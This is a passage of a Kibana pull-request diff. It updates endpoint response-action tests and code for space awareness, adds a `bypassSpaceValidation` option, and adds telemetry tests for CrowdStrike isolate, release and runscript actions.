jest.fn().mockReturnValue(telemetryServiceMock), getInternalResponseActionsClient: jest.fn(() => { return responseActionsClientMock.create(); }), diff --git a/x-pack/solutions/security/plugins/security_solution/server/endpoint/routes/actions/details.test.ts b/x-pack/solutions/security/plugins/security_solution/server/endpoint/routes/actions/details.test.ts index 0363b796285f9..a31e088c77e80 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/endpoint/routes/actions/details.test.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/endpoint/routes/actions/details.test.ts @@ -36,6 +36,9 @@ describe('when calling the Action Details route handler', () => { mockContext.service.savedObjects.createInternalScopedSoClient() as jest.Mocked; mockResponse = httpServerMock.createResponseFactory(); actionDetailsRouteHandler = getActionDetailsRequestHandler(mockContext); + ( + mockContext.service.getInternalFleetServices().ensureInCurrentSpace as jest.Mock + ).mockResolvedValue(undefined); }); it('should call service using action id from request', async () => { diff --git a/x-pack/solutions/security/plugins/security_solution/server/endpoint/routes/actions/file_download_handler.test.ts b/x-pack/solutions/security/plugins/security_solution/server/endpoint/routes/actions/file_download_handler.test.ts index 050de9019f21e..52d3a403d74f6 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/endpoint/routes/actions/file_download_handler.test.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/endpoint/routes/actions/file_download_handler.test.ts @@ -58,6 +58,11 @@ describe('Response Actions file download API', () => { httpRequestMock = apiTestSetup.createRequestMock({ params: { action_id: '321-654', file_id: '123-456-789' }, }); + + ( + apiTestSetup.endpointAppContextMock.service.getInternalFleetServices() + .ensureInCurrentSpace as jest.Mock + ).mockResolvedValue(undefined); }); describe('#registerActionFileDownloadRoutes()', () => { diff --git a/x-pack/solutions/security/plugins/security_solution/server/endpoint/routes/actions/file_info_handler.test.ts b/x-pack/solutions/security/plugins/security_solution/server/endpoint/routes/actions/file_info_handler.test.ts index b2866f7cca263..fd48f4115d905 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/endpoint/routes/actions/file_info_handler.test.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/endpoint/routes/actions/file_info_handler.test.ts @@ -54,6 +54,11 @@ describe('Response Action file info API', () => { httpRequestMock = apiTestSetup.createRequestMock({ params: { action_id: '321-654', file_id: '123-456-789' }, }); + + ( + apiTestSetup.endpointAppContextMock.service.getInternalFleetServices() + .ensureInCurrentSpace as jest.Mock + ).mockResolvedValue(undefined); }); describe('#registerActionFileInfoRoute()', () => { diff --git a/x-pack/solutions/security/plugins/security_solution/server/endpoint/routes/actions/response_actions.test.ts b/x-pack/solutions/security/plugins/security_solution/server/endpoint/routes/actions/response_actions.test.ts index c7d7726d796be..314afdb36df5b 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/endpoint/routes/actions/response_actions.test.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/endpoint/routes/actions/response_actions.test.ts @@ -14,6 +14,7 @@ import { licenseMock } from '@kbn/licensing-plugin/common/licensing.mock'; import type { License } from '@kbn/licensing-plugin/common/license'; import type { AwaitedProperties } from '@kbn/utility-types'; import type { KibanaRequest, KibanaResponseFactory, RequestHandler } from '@kbn/core/server'; +import type { ElasticsearchClientMock } from '@kbn/core/server/mocks'; import { elasticsearchServiceMock, httpServerMock, @@ -134,13 +135,14 @@ describe('Response actions', () => { const docGen = new EndpointDocGenerator(); beforeEach(() => { - // instantiate... everything + const startContract = createMockEndpointAppContextServiceStartContract(); + const routerMock = httpServiceMock.createRouter(); const mockScopedClient = elasticsearchServiceMock.createScopedClusterClient(); const mockClusterClient = elasticsearchServiceMock.createClusterClient(); + mockClusterClient.asScoped.mockReturnValue(mockScopedClient); - const routerMock = httpServiceMock.createRouter(); + mockScopedClient.asInternalUser = startContract.esClient as ElasticsearchClientMock; mockResponse = httpServerMock.createResponseFactory(); - const startContract = createMockEndpointAppContextServiceStartContract(); ( startContract.fleetStartServices.messageSigningService?.sign as jest.Mock ).mockImplementation(() => { @@ -1274,7 +1276,6 @@ describe('Response actions', () => { await callHandler(); expect(getResponseActionsClientMock).toHaveBeenCalledWith('sentinel_one', expect.anything()); - expect(httpResponseMock.ok).toHaveBeenCalled(); }); }); diff --git a/x-pack/solutions/security/plugins/security_solution/server/endpoint/routes/actions/utils.test.ts b/x-pack/solutions/security/plugins/security_solution/server/endpoint/routes/actions/utils.test.ts index 5469049fb3cec..9a81e0e913411 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/endpoint/routes/actions/utils.test.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/endpoint/routes/actions/utils.test.ts @@ -38,6 +38,11 @@ describe('Route utilities', () => { actionGenerator.toEsSearchHit(actionRequestMock), ]), }); + + ( + testSetupMock.endpointAppContextMock.service.getInternalFleetServices() + .ensureInCurrentSpace as jest.Mock + ).mockResolvedValue(undefined); }); it.each` diff --git a/x-pack/solutions/security/plugins/security_solution/server/endpoint/routes/agent/agent_status_handler.test.ts b/x-pack/solutions/security/plugins/security_solution/server/endpoint/routes/agent/agent_status_handler.test.ts index 16b28bdbf1ffd..338d811db0f71 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/endpoint/routes/agent/agent_status_handler.test.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/endpoint/routes/agent/agent_status_handler.test.ts @@ -154,6 +154,9 @@ describe('Agent Status API route handler', () => { }); it('should NOT use space ID in creating SO client when feature is disabled', async () => { + // @ts-expect-error + apiTestSetup.endpointAppContextMock.service.experimentalFeatures.endpointManagementSpaceAwarenessEnabled = + false; ((await httpHandlerContextMock.securitySolution).getSpaceId as jest.Mock).mockReturnValue( 'foo' ); diff --git a/x-pack/solutions/security/plugins/security_solution/server/endpoint/routes/protection_updates_note/handlers.test.ts b/x-pack/solutions/security/plugins/security_solution/server/endpoint/routes/protection_updates_note/handlers.test.ts index 6e66edd1ce049..a0a9656117962 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/endpoint/routes/protection_updates_note/handlers.test.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/endpoint/routes/protection_updates_note/handlers.test.ts @@ -20,9 +20,11 @@ import { httpServerMock, savedObjectsClientMock, } from '@kbn/core/server/mocks'; +import { PACKAGE_POLICY_SAVED_OBJECT_TYPE } from '@kbn/fleet-plugin/common'; import { getProtectionUpdatesNoteHandler, postProtectionUpdatesNoteHandler } from './handlers'; import { requestContextMock } from '../../../lib/detection_engine/routes/__mocks__'; import type { EndpointAppContext } from '../../types'; +import type { EndpointInternalFleetServicesInterfaceMocked } from '../../services/fleet/endpoint_fleet_services_factory.mocks'; const mockedSOSuccessfulFindResponse = { total: 1, @@ -91,6 +93,12 @@ describe('test protection updates note handler', () => { endpointAppContextService = new EndpointAppContextService(); endpointAppContextService.setup(createMockEndpointAppContextServiceSetupContract()); endpointAppContextService.start(createMockEndpointAppContextServiceStartContract()); + + const internalFleetServicesMock = + mockEndpointContext.service.getInternalFleetServices() as EndpointInternalFleetServicesInterfaceMocked; + + internalFleetServicesMock.ensureInCurrentSpace.mockResolvedValue(undefined); + internalFleetServicesMock.getSoClient.mockReturnValue(mockSavedObjectClient); }); afterEach(() => endpointAppContextService.stop()); @@ -121,7 +129,9 @@ describe('test protection updates note handler', () => { 'policy-settings-protection-updates-note', { note: 'note' }, { - references: [{ id: undefined, name: 'package_policy', type: 'ingest-package-policies' }], + references: [ + { id: undefined, name: 'package_policy', type: PACKAGE_POLICY_SAVED_OBJECT_TYPE }, + ], refresh: 'wait_for', } ); diff --git a/x-pack/solutions/security/plugins/security_solution/server/endpoint/routes/suggestions/index.test.ts b/x-pack/solutions/security/plugins/security_solution/server/endpoint/routes/suggestions/index.test.ts index c2d03a65b71c9..0fe3a636273a0 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/endpoint/routes/suggestions/index.test.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/endpoint/routes/suggestions/index.test.ts @@ -43,6 +43,7 @@ import { } from '../../../../common/endpoint/constants'; import { EndpointAppContextService } from '../../endpoint_app_context_services'; import { buildIndexNameWithNamespace } from '../../../../common/endpoint/utils/index_name_utilities'; +import { PACKAGE_POLICY_SAVED_OBJECT_TYPE } from '@kbn/fleet-plugin/common'; jest.mock('@kbn/unified-search-plugin/server/autocomplete/terms_enum', () => { return { @@ -465,7 +466,7 @@ describe('when calling the Suggestions route handler', () => { expect(mockFleetServices.packagePolicy.fetchAllItems).toHaveBeenCalledWith( mockSavedObjectClient, { - kuery: 'ingest-package-policies.package.name:endpoint', + kuery: `${PACKAGE_POLICY_SAVED_OBJECT_TYPE}.package.name:endpoint`, spaceIds: ['*'], } ); @@ -643,7 +644,7 @@ describe('when calling the Suggestions route handler', () => { expect(mockFleetServices.packagePolicy.fetchAllItems).toHaveBeenCalledWith( mockSavedObjectClient, { - kuery: 'ingest-package-policies.package.name:endpoint', + kuery: `${PACKAGE_POLICY_SAVED_OBJECT_TYPE}.package.name:endpoint`, spaceIds: ['default'], } ); @@ -731,7 +732,7 @@ describe('when calling the Suggestions route handler', () => { expect(mockFleetServices.packagePolicy.fetchAllItems).toHaveBeenCalledWith( mockSavedObjectClient, { - kuery: 'ingest-package-policies.package.name:endpoint', + kuery: `${PACKAGE_POLICY_SAVED_OBJECT_TYPE}.package.name:endpoint`, spaceIds: ['default'], } ); @@ -855,7 +856,7 @@ describe('when calling the Suggestions route handler', () => { expect(mockFleetServices.packagePolicy.fetchAllItems).toHaveBeenCalledWith( mockSavedObjectClient, { - kuery: 'ingest-package-policies.package.name:endpoint', + kuery: `${PACKAGE_POLICY_SAVED_OBJECT_TYPE}.package.name:endpoint`, spaceIds: [customSpaceId], } ); diff --git a/x-pack/solutions/security/plugins/security_solution/server/endpoint/routes/workflow_insights/get_insights.test.ts b/x-pack/solutions/security/plugins/security_solution/server/endpoint/routes/workflow_insights/get_insights.test.ts index ee35fb3fdc9c1..baf8f1f87eb82 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/endpoint/routes/workflow_insights/get_insights.test.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/endpoint/routes/workflow_insights/get_insights.test.ts @@ -34,6 +34,10 @@ describe('Get Insights Route Handler', () => { router = httpServiceMock.createRouter(); registerGetInsightsRoute(router, mockEndpointContext); + ( + mockEndpointContext.service.getInternalFleetServices().ensureInCurrentSpace as jest.Mock + ).mockResolvedValue(undefined); + callRoute = async (params, authz = { canReadWorkflowInsights: true }) => { const mockContext = { core: { @@ -70,8 +74,8 @@ describe('Get Insights Route Handler', () => { describe('with valid privileges', () => { it('should fetch insights and return them', async () => { const mockInsights = [ - { _id: 1, _source: { name: 'Insight 1' } }, - { _id: 2, _source: { name: 'Insight 2' } }, + { _id: 1, _source: { name: 'Insight 1', target: { ids: ['agent-123', 'agent-456'] } } }, + { _id: 2, _source: { name: 'Insight 2', target: { ids: ['agent-123', 'agent-456'] } } }, ]; fetchMock.mockResolvedValue(mockInsights); @@ -80,8 +84,8 @@ describe('Get Insights Route Handler', () => { expect(fetchMock).toHaveBeenCalledWith({ query: 'test-query' }); expect(mockResponse.ok).toHaveBeenCalledWith({ body: [ - { id: 1, name: 'Insight 1' }, - { id: 2, name: 'Insight 2' }, + { id: 1, name: 'Insight 1', target: { ids: ['agent-123', 'agent-456'] } }, + { id: 2, name: 'Insight 2', target: { ids: ['agent-123', 'agent-456'] } }, ], }); }); diff --git a/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/actions/action_details_by_id.test.ts b/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/actions/action_details_by_id.test.ts index e5b7f05b4eec0..794b187281b7e 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/actions/action_details_by_id.test.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/actions/action_details_by_id.test.ts @@ -39,6 +39,9 @@ describe('When using `getActionDetailsById()', () => { actionResponses = createActionResponsesEsSearchResultsMock(); applyActionsEsSearchMock(esClient, actionRequests, actionResponses); + ( + endpointAppContextService.getInternalFleetServices().ensureInCurrentSpace as jest.Mock + ).mockResolvedValue(undefined); }); it('should return expected output', async () => { @@ -179,4 +182,19 @@ describe('When using `getActionDetailsById()', () => { }) ); }); + + it('should not validate against spaces when `bypassSpaceValidation` is `true`', async () => { + // @ts-expect-error + endpointAppContextService.experimentalFeatures.endpointManagementSpaceAwarenessEnabled = true; + ( + endpointAppContextService.getInternalFleetServices().ensureInCurrentSpace as jest.Mock + ).mockResolvedValue(undefined); + await getActionDetailsById(endpointAppContextService, 'default', '123', { + bypassSpaceValidation: true, + }); + + expect( + endpointAppContextService.getInternalFleetServices().ensureInCurrentSpace + ).not.toHaveBeenCalled(); + }); }); diff --git a/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/actions/action_details_by_id.ts b/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/actions/action_details_by_id.ts index 46163caacade4..f92b012c3c311 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/actions/action_details_by_id.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/actions/action_details_by_id.ts @@ -27,7 +27,16 @@ import { NotFoundError } from '../../errors'; export const getActionDetailsById = async ( endpointService: EndpointAppContextService, spaceId: string, - actionId: string + actionId: string, + { + bypassSpaceValidation = false, + }: Partial<{ + /** + * if `true`, then no space validations will be done on the action retrieved. Default is `false`. + * USE IT CAREFULLY! + */ + bypassSpaceValidation: boolean; + }> = {} ): Promise => { let normalizedActionRequest: ReturnType | undefined; let actionResponses: FetchActionResponsesResult; @@ -36,7 +45,7 @@ export const getActionDetailsById = async { query: { bool: { must: [ + { + bool: { + filter: { terms: { 'agent.policy.integrationPolicyId': ['111', '222'] } }, + }, + }, { bool: { filter: [ @@ -388,6 +393,11 @@ describe('action list services', () => { query: { bool: { must: [ + { + bool: { + filter: { terms: { 'agent.policy.integrationPolicyId': ['111', '222'] } }, + }, + }, { bool: { filter: [ diff --git a/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/actions/clients/crowdstrike/crowdstrike_actions_client.test.ts b/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/actions/clients/crowdstrike/crowdstrike_actions_client.test.ts index 4551d43997dd4..350bffeea8577 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/actions/clients/crowdstrike/crowdstrike_actions_client.test.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/actions/clients/crowdstrike/crowdstrike_actions_client.test.ts @@ -23,6 +23,10 @@ import { applyEsClientSearchMock } from '../../../../mocks/utils.mock'; import { CROWDSTRIKE_INDEX_PATTERNS_BY_INTEGRATION } from '../../../../../../common/endpoint/service/response_actions/crowdstrike'; import { BaseDataGenerator } from '../../../../../../common/endpoint/data_generators/base_data_generator'; import { AgentNotFoundError } from '@kbn/fleet-plugin/server'; +import { + ENDPOINT_RESPONSE_ACTION_SENT_EVENT, + ENDPOINT_RESPONSE_ACTION_STATUS_CHANGE_EVENT, +} from '../../../../../lib/telemetry/event_based/events'; jest.mock('../../action_details_by_id', () => { const originalMod = jest.requireActual('../../action_details_by_id'); @@ -47,6 +51,14 @@ describe('CrowdstrikeActionsClient class', () => { > = {} ) => responseActionsClientMock.createIsolateOptions({ ...overrides, agent_type: 'crowdstrike' }); + const createCrowdstrikeRunscrtiptOptions = ( + overrides: Omit< + Parameters[0], + 'agent_type' + > = {} + ) => + responseActionsClientMock.createRunScriptOptions({ ...overrides, agent_type: 'crowdstrike' }); + beforeEach(() => { classConstructorOptions = CrowdstrikeMock.createConstructorOptions(); connectorActionsMock = classConstructorOptions.connectorActions; @@ -65,6 +77,11 @@ describe('CrowdstrikeActionsClient class', () => { return BaseDataGenerator.toEsSearchResponse([]); }); + + ( + classConstructorOptions.endpointService.getInternalFleetServices() + .ensureInCurrentSpace as jest.Mock + ).mockResolvedValue(undefined); }); it.each([ @@ -180,7 +197,19 @@ describe('CrowdstrikeActionsClient class', () => { input_type: 'crowdstrike', type: 'INPUT_ACTION', }, - agent: { id: ['1-2-3'] }, + agent: { + id: ['1-2-3'], + policy: [ + { + agentId: '1-2-3', + agentPolicyId: expect.any(String), + elasticAgentId: 'fleet-agent-id-123', + integrationPolicyId: expect.any(String), + }, + ], + }, + originSpaceId: 'default', + tags: [], meta: { hostName: 'Crowdstrike-1460', }, @@ -232,6 +261,84 @@ describe('CrowdstrikeActionsClient class', () => { expect(classConstructorOptions.casesClient?.attachments.bulkCreate).toHaveBeenCalled(); }); + + describe('telemetry events', () => { + it('should send `isolate` action creation telemetry event', async () => { + await crowdstrikeActionsClient.isolate(createCrowdstrikeIsolationOptions()); + + expect( + classConstructorOptions.endpointService.getTelemetryService().reportEvent + ).toHaveBeenCalledWith(ENDPOINT_RESPONSE_ACTION_SENT_EVENT.eventType, { + responseActions: { + actionId: expect.any(String), + agentType: 'crowdstrike', + command: 'isolate', + isAutomated: false, + }, + }); + }); + + it('should send `isolate` action response telemetry event for successful action', async () => { + const actionResponse = { + data: { + errors: [], + action_id: '123-345-456', + action_status: 'successful', + command: 'isolate', + agent_type: 'crowdstrike', + agent_id: '1-2-3', + }, + }; + (connectorActionsMock.execute as jest.Mock).mockResolvedValueOnce(actionResponse); + await crowdstrikeActionsClient.isolate( + createCrowdstrikeIsolationOptions({ actionId: '123-345-456' }) + ); + + expect( + classConstructorOptions.endpointService.getTelemetryService().reportEvent + ).toHaveBeenNthCalledWith(2, ENDPOINT_RESPONSE_ACTION_STATUS_CHANGE_EVENT.eventType, { + responseActions: { + actionId: '123-345-456', + actionStatus: 'successful', + agentType: 'crowdstrike', + command: 'isolate', + }, + }); + }); + + it('should send `isolate` action response telemetry event for failed action', async () => { + const actionResponse = { + data: { + errors: [ + { + message: 'Failed to isolate host', + }, + ], + action_id: '123-456-678', + action_status: 'failed', + command: 'isolate', + agent_type: 'crowdstrike', + agent_id: '1-2-3', + }, + }; + (connectorActionsMock.execute as jest.Mock).mockResolvedValueOnce(actionResponse); + + await crowdstrikeActionsClient.isolate( + createCrowdstrikeIsolationOptions({ actionId: '123-456-678' }) + ); + + expect( + classConstructorOptions.endpointService.getTelemetryService().reportEvent + ).toHaveBeenNthCalledWith(2, ENDPOINT_RESPONSE_ACTION_STATUS_CHANGE_EVENT.eventType, { + responseActions: { + actionId: '123-456-678', + actionStatus: 'failed', + agentType: 'crowdstrike', + command: 'isolate', + }, + }); + }); + }); }); describe('#release()', () => { @@ -276,7 +383,19 @@ describe('CrowdstrikeActionsClient class', () => { input_type: 'crowdstrike', type: 'INPUT_ACTION', }, - agent: { id: ['1-2-3'] }, + agent: { + id: ['1-2-3'], + policy: [ + { + agentId: '1-2-3', + agentPolicyId: expect.any(String), + elasticAgentId: 'fleet-agent-id-123', + integrationPolicyId: expect.any(String), + }, + ], + }, + originSpaceId: 'default', + tags: [], meta: { hostName: 'Crowdstrike-1460', }, @@ -328,6 +447,303 @@ describe('CrowdstrikeActionsClient class', () => { expect(classConstructorOptions.casesClient?.attachments.bulkCreate).toHaveBeenCalled(); }); + + describe('telemetry events', () => { + it('should send `release` action creation telemetry event', async () => { + await crowdstrikeActionsClient.release(createCrowdstrikeIsolationOptions()); + + expect( + classConstructorOptions.endpointService.getTelemetryService().reportEvent + ).toHaveBeenCalledWith(ENDPOINT_RESPONSE_ACTION_SENT_EVENT.eventType, { + responseActions: { + actionId: expect.any(String), + agentType: 'crowdstrike', + command: 'unisolate', + isAutomated: false, + }, + }); + }); + + it('should send `release` action response telemetry event for successful action', async () => { + const actionResponse = { + data: { + errors: [], + action_id: '123-345-456', + action_status: 'successful', + command: 'unisolate', + agent_type: 'crowdstrike', + agent_id: '1-2-3', + }, + }; + (connectorActionsMock.execute as jest.Mock).mockResolvedValueOnce(actionResponse); + await crowdstrikeActionsClient.release( + createCrowdstrikeIsolationOptions({ actionId: '123-345-456' }) + ); + + expect( + classConstructorOptions.endpointService.getTelemetryService().reportEvent + ).toHaveBeenNthCalledWith(2, ENDPOINT_RESPONSE_ACTION_STATUS_CHANGE_EVENT.eventType, { + responseActions: { + actionId: '123-345-456', + actionStatus: 'successful', + agentType: 'crowdstrike', + command: 'unisolate', + }, + }); + }); + + it('should send `release` action response telemetry event for failed action', async () => { + const actionResponse = { + data: { + errors: [ + { + message: 'Failed to release host', + }, + ], + action_id: '123-456-678', + action_status: 'failed', + command: 'unisolate', + agent_type: 'crowdstrike', + agent_id: '1-2-3', + }, + }; + (connectorActionsMock.execute as jest.Mock).mockResolvedValueOnce(actionResponse); + + await crowdstrikeActionsClient.release( + createCrowdstrikeIsolationOptions({ actionId: '123-456-678' }) + ); + + expect( + classConstructorOptions.endpointService.getTelemetryService().reportEvent + ).toHaveBeenNthCalledWith(2, ENDPOINT_RESPONSE_ACTION_STATUS_CHANGE_EVENT.eventType, { + responseActions: { + actionId: '123-456-678', + actionStatus: 'failed', + agentType: 'crowdstrike', + command: 'unisolate', + }, + }); + }); + }); + }); + + describe('#runscript()', () => { + it('should send action to Crowdstrike', async () => { + await crowdstrikeActionsClient.runscript( + createCrowdstrikeRunscrtiptOptions({ + actionId: '123-456-789', + endpoint_ids: ['1-2-3'], + comment: 'test runscript comment', + parameters: { + raw: 'echo "Hello World"', + }, + }) + ); + + expect(connectorActionsMock.execute as jest.Mock).toHaveBeenCalledWith({ + params: { + subAction: SUB_ACTION.EXECUTE_ADMIN_RTR, + subActionParams: { + command: 'runscript --Raw=```echo "Hello World"```', + endpoint_ids: ['1-2-3'], + actionParameters: { + comment: + 'Action triggered from Elastic Security by user [foo] for action [runscript (action id: 123-456-789)]: test runscript comment', + }, + }, + }, + }); + }); + + it('should write action request to endpoint indexes', async () => { + await crowdstrikeActionsClient.runscript(responseActionsClientMock.createRunScriptOptions()); + + expect(classConstructorOptions.esClient.index).toHaveBeenCalledTimes(2); + expect(classConstructorOptions.esClient.index.mock.calls[0][0]).toEqual({ + document: { + '@timestamp': expect.any(String), + EndpointActions: { + action_id: expect.any(String), + data: { + command: 'runscript', + comment: 'test comment', + parameters: { raw: 'ls' }, + hosts: { + '1-2-3': { + name: 'Crowdstrike-1460', + }, + }, + }, + expiration: expect.any(String), + input_type: 'crowdstrike', + type: 'INPUT_ACTION', + }, + agent: { + id: ['1-2-3'], + policy: [ + { + agentId: '1-2-3', + agentPolicyId: expect.any(String), + elasticAgentId: 'fleet-agent-id-123', + integrationPolicyId: expect.any(String), + }, + ], + }, + originSpaceId: 'default', + tags: [], + meta: { + hostName: 'Crowdstrike-1460', + }, + user: { id: 'foo' }, + }, + index: ENDPOINT_ACTIONS_INDEX, + refresh: 'wait_for', + }); + expect(classConstructorOptions.esClient.index.mock.calls[1][0]).toEqual({ + document: { + '@timestamp': expect.any(String), + agent: { id: ['1-2-3'] }, + EndpointActions: { + action_id: expect.any(String), + completed_at: expect.any(String), + started_at: expect.any(String), + data: { + command: 'runscript', + comment: 'test comment', + hosts: { + '1-2-3': { + name: 'Crowdstrike-1460', + }, + }, + output: { + content: { + code: '200', + stderr: '', + stdout: '', + }, + type: 'text', + }, + parameters: { raw: 'ls' }, + }, + input_type: 'crowdstrike', + }, + error: undefined, + meta: undefined, + }, + index: ENDPOINT_ACTION_RESPONSES_INDEX, + refresh: 'wait_for', + }); + }); + + it('should return action details', async () => { + await crowdstrikeActionsClient.runscript(responseActionsClientMock.createRunScriptOptions()); + + expect(getActionDetailsByIdMock).toHaveBeenCalled(); + }); + + it('should update cases', async () => { + await crowdstrikeActionsClient.runscript( + responseActionsClientMock.createRunScriptOptions({ + case_ids: ['case-1'], + }) + ); + + expect(classConstructorOptions.casesClient?.attachments.bulkCreate).toHaveBeenCalled(); + }); + + describe('telemetry events', () => { + it('should send `runscript` action creation telemetry event', async () => { + await crowdstrikeActionsClient.runscript( + responseActionsClientMock.createRunScriptOptions() + ); + + expect( + classConstructorOptions.endpointService.getTelemetryService().reportEvent + ).toHaveBeenCalledWith(ENDPOINT_RESPONSE_ACTION_SENT_EVENT.eventType, { + responseActions: { + actionId: expect.any(String), + agentType: 'crowdstrike', + command: 'runscript', + isAutomated: false, + }, + }); + }); + + it('should send `runscript` action response telemetry event for successful action', async () => { + const actionResponse = { + actionId: '123-abc-678', + data: undefined, + status: 'ok', + }; + (connectorActionsMock.execute as jest.Mock).mockResolvedValueOnce(actionResponse); + + await crowdstrikeActionsClient.runscript( + createCrowdstrikeRunscrtiptOptions({ + actionId: '123-abc-678', + comment: 'test runscript comment', + parameters: { + raw: 'echo "Hello World"', + }, + }) + ); + + expect( + classConstructorOptions.endpointService.getTelemetryService().reportEvent + ).toHaveBeenNthCalledWith(2, ENDPOINT_RESPONSE_ACTION_STATUS_CHANGE_EVENT.eventType, { + responseActions: { + actionId: '123-abc-678', + actionStatus: 'successful', + agentType: 'crowdstrike', + command: 'runscript', + }, + }); + }); + + it('should send `runscript` action response telemetry event for failed action', async () => { + const actionResponse = { + actionId: '456-pqr-789', + status: 'ok', + data: { + combined: { + resources: { + '1-2-3': { + stdout: '', + stderr: '', + errors: [ + { + code: '500', + message: 'Failed to run script on host', + }, + ], + }, + }, + }, + }, + }; + (connectorActionsMock.execute as jest.Mock).mockResolvedValueOnce(actionResponse); + + await crowdstrikeActionsClient.runscript( + createCrowdstrikeRunscrtiptOptions({ + actionId: '456-pqr-789', + endpoint_ids: ['1-2-3'], + parameters: { + raw: 'echo "Hello World"', + }, + }) + ); + + expect( + classConstructorOptions.endpointService.getTelemetryService().reportEvent + ).toHaveBeenNthCalledWith(2, ENDPOINT_RESPONSE_ACTION_STATUS_CHANGE_EVENT.eventType, { + responseActions: { + actionId: '456-pqr-789', + actionStatus: 'failed', + agentType: 'crowdstrike', + command: 'runscript', + }, + }); + }); + }); }); describe('and space awareness is enabled', () => { diff --git a/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/actions/clients/crowdstrike/crowdstrike_actions_client.ts b/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/actions/clients/crowdstrike/crowdstrike_actions_client.ts index f14f7ca14d6c5..870a4960a7463 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/actions/clients/crowdstrike/crowdstrike_actions_client.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/actions/clients/crowdstrike/crowdstrike_actions_client.ts @@ -31,6 +31,7 @@ import { stringify } from '../../../../utils/stringify'; import { ResponseActionsClientError } from '../errors'; import type { ActionDetails, + EndpointActionData, EndpointActionDataParameterTypes, EndpointActionResponseDataOutput, LogsEndpointAction, @@ -59,6 +60,18 @@ export type CrowdstrikeActionsClientOptions = ResponseActionsClientOptions & { connectorActions: NormalizedExternalConnectorClient; }; +interface CrowdstrikeResponseOptions { + error?: + | { + code: string; + message: string; + } + | undefined; + actionId: string; + agentId: string | string[]; + data: EndpointActionData; +} + export class CrowdstrikeActionsClient extends ResponseActionsClientImpl { protected readonly agentType: ResponseActionAgentType = 'crowdstrike'; private readonly connectorActionsClient: NormalizedExternalConnectorClient; @@ -505,7 +518,7 @@ export class CrowdstrikeActionsClient extends ResponseActionsClientImpl { const stdout = actionResponse.data?.combined.resources[agentId].stdout || ''; const stderr = actionResponse.data?.combined.resources[agentId].stderr || ''; const error = actionResponse.data?.combined.resources[agentId].errors?.[0]; - const options = { + const options: CrowdstrikeResponseOptions = { actionId: doc.EndpointActions.action_id, agentId, data: { @@ -529,14 +542,16 @@ export class CrowdstrikeActionsClient extends ResponseActionsClientImpl { : {}), }; - await this.writeActionResponseToEndpointIndex(options); + const responseDoc = await this.writeActionResponseToEndpointIndex(options); + // telemetry event for completed action + await this.sendActionResponseTelemetry([responseDoc]); } private async completeCrowdstrikeAction( actionResponse: ActionTypeExecutorResult, doc: LogsEndpointAction ): Promise { - const options = { + const options: CrowdstrikeResponseOptions = { actionId: doc.EndpointActions.action_id, agentId: doc.agent.id, data: doc.EndpointActions.data, @@ -550,7 +565,9 @@ export class CrowdstrikeActionsClient extends ResponseActionsClientImpl { : {}), }; - await this.writeActionResponseToEndpointIndex(options); + const responseDoc = await this.writeActionResponseToEndpointIndex(options); + // telemetry event for completed action + await this.sendActionResponseTelemetry([responseDoc]); } async getCustomScripts(): Promise { diff --git a/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/actions/clients/endpoint/endpoint_actions_client.test.ts b/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/actions/clients/endpoint/endpoint_actions_client.test.ts index 4fdcaf8ef50e2..93800330d86f7 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/actions/clients/endpoint/endpoint_actions_client.test.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/actions/clients/endpoint/endpoint_actions_client.test.ts @@ -21,6 +21,7 @@ import { Readable } from 'stream'; import { EndpointActionGenerator } from '../../../../../../common/endpoint/data_generators/endpoint_action_generator'; import type { ResponseActionsRequestBody } from '../../../../../../common/api/endpoint'; import { AgentNotFoundError } from '@kbn/fleet-plugin/server'; +import { ALLOWED_ACTION_REQUEST_TAGS } from '../../constants'; jest.mock('../../action_details_by_id', () => { const originalMod = jest.requireActual('../../action_details_by_id'); @@ -49,6 +50,11 @@ describe('EndpointActionsClient', () => { beforeEach(() => { classConstructorOptions = endpointActionClientMock.createConstructorOptions(); endpointActionsClient = new EndpointActionsClient(classConstructorOptions); + + ( + classConstructorOptions.endpointService.getInternalFleetServices() + .ensureInCurrentSpace as jest.Mock + ).mockResolvedValue(undefined); }); it('should validate endpoint ids and log those that are invalid', async () => { @@ -123,7 +129,17 @@ describe('EndpointActionsClient', () => { }, agent: { id: ['1-2-3'], + policy: [ + { + agentId: '1-2-3', + agentPolicyId: expect.any(String), + elasticAgentId: '1-2-3', + integrationPolicyId: expect.any(String), + }, + ], }, + originSpaceId: 'default', + tags: [], user: { id: 'foo', }, @@ -161,7 +177,17 @@ 